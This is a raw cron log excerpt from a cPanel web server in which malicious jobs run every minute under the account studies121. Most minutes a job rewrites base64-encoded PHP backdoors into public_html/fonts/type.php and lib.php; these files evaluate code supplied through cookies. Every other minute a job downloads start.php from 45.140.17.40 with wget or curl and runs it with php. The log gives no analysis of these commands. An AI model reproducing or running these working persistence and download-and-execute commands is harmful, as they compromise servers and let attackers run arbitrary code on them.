Sep  2 11:49:01 ip-184-168-122-23 CROND[9378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:50:01 ip-184-168-122-23 CROND[9473]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 11:50:01 ip-184-168-122-23 CROND[9476]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:50:01 ip-184-168-122-23 CROND[9479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:50:01 ip-184-168-122-23 CROND[9483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:50:01 ip-184-168-122-23 CROND[9481]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 11:50:01 ip-184-168-122-23 CROND[9485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:50:01 ip-184-168-122-23 CROND[9480]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 11:50:01 ip-184-168-122-23 CROND[9484]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 11:50:01 ip-184-168-122-23 CROND[9482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:51:01 ip-184-168-122-23 CROND[9616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:51:01 ip-184-168-122-23 CROND[9618]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:51:01 ip-184-168-122-23 CROND[9621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:51:01 ip-184-168-122-23 CROND[9622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:52:01 ip-184-168-122-23 CROND[9753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:52:01 ip-184-168-122-23 CROND[9755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:52:01 ip-184-168-122-23 CROND[9757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:52:01 ip-184-168-122-23 CROND[9756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:52:01 ip-184-168-122-23 CROND[9754]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:53:01 ip-184-168-122-23 CROND[9869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:53:01 ip-184-168-122-23 CROND[9872]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:53:01 ip-184-168-122-23 CROND[9874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:53:01 ip-184-168-122-23 CROND[9876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:54:01 ip-184-168-122-23 CROND[10063]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:54:01 ip-184-168-122-23 CROND[10064]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:54:01 ip-184-168-122-23 CROND[10065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:54:01 ip-184-168-122-23 CROND[10068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:54:01 ip-184-168-122-23 CROND[10069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:55:01 ip-184-168-122-23 CROND[10160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:55:01 ip-184-168-122-23 CROND[10162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:55:01 ip-184-168-122-23 CROND[10163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:55:01 ip-184-168-122-23 CROND[10164]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:55:01 ip-184-168-122-23 CROND[10165]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 11:55:01 ip-184-168-122-23 CROND[10166]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 11:56:01 ip-184-168-122-23 CROND[10283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:56:01 ip-184-168-122-23 CROND[10287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:56:01 ip-184-168-122-23 CROND[10286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:56:01 ip-184-168-122-23 CROND[10288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:56:01 ip-184-168-122-23 CROND[10285]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:57:01 ip-184-168-122-23 CROND[10456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:57:01 ip-184-168-122-23 CROND[10458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:57:01 ip-184-168-122-23 CROND[10459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:57:01 ip-184-168-122-23 CROND[10460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:58:01 ip-184-168-122-23 CROND[10587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:58:01 ip-184-168-122-23 CROND[10588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:58:01 ip-184-168-122-23 CROND[10593]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 11:58:01 ip-184-168-122-23 CROND[10591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:58:01 ip-184-168-122-23 CROND[10594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:59:01 ip-184-168-122-23 CROND[10762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 11:59:01 ip-184-168-122-23 CROND[10764]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 11:59:01 ip-184-168-122-23 CROND[10768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:59:01 ip-184-168-122-23 CROND[10770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:00:01 ip-184-168-122-23 CROND[10941]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 12:00:01 ip-184-168-122-23 CROND[10945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:00:01 ip-184-168-122-23 CROND[10948]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  2 12:00:01 ip-184-168-122-23 CROND[10947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 12:00:01 ip-184-168-122-23 CROND[10950]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 12:00:01 ip-184-168-122-23 CROND[10955]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 12:00:01 ip-184-168-122-23 CROND[10954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:00:01 ip-184-168-122-23 CROND[10949]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 12:00:01 ip-184-168-122-23 CROND[10956]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Sep  2 12:00:01 ip-184-168-122-23 CROND[10957]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:01:01 ip-184-168-122-23 CROND[11083]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 12:01:01 ip-184-168-122-23 CROND[11082]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 12:01:01 ip-184-168-122-23 CROND[11085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:01:01 ip-184-168-122-23 CROND[11086]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 12:01:01 ip-184-168-122-23 CROND[11087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
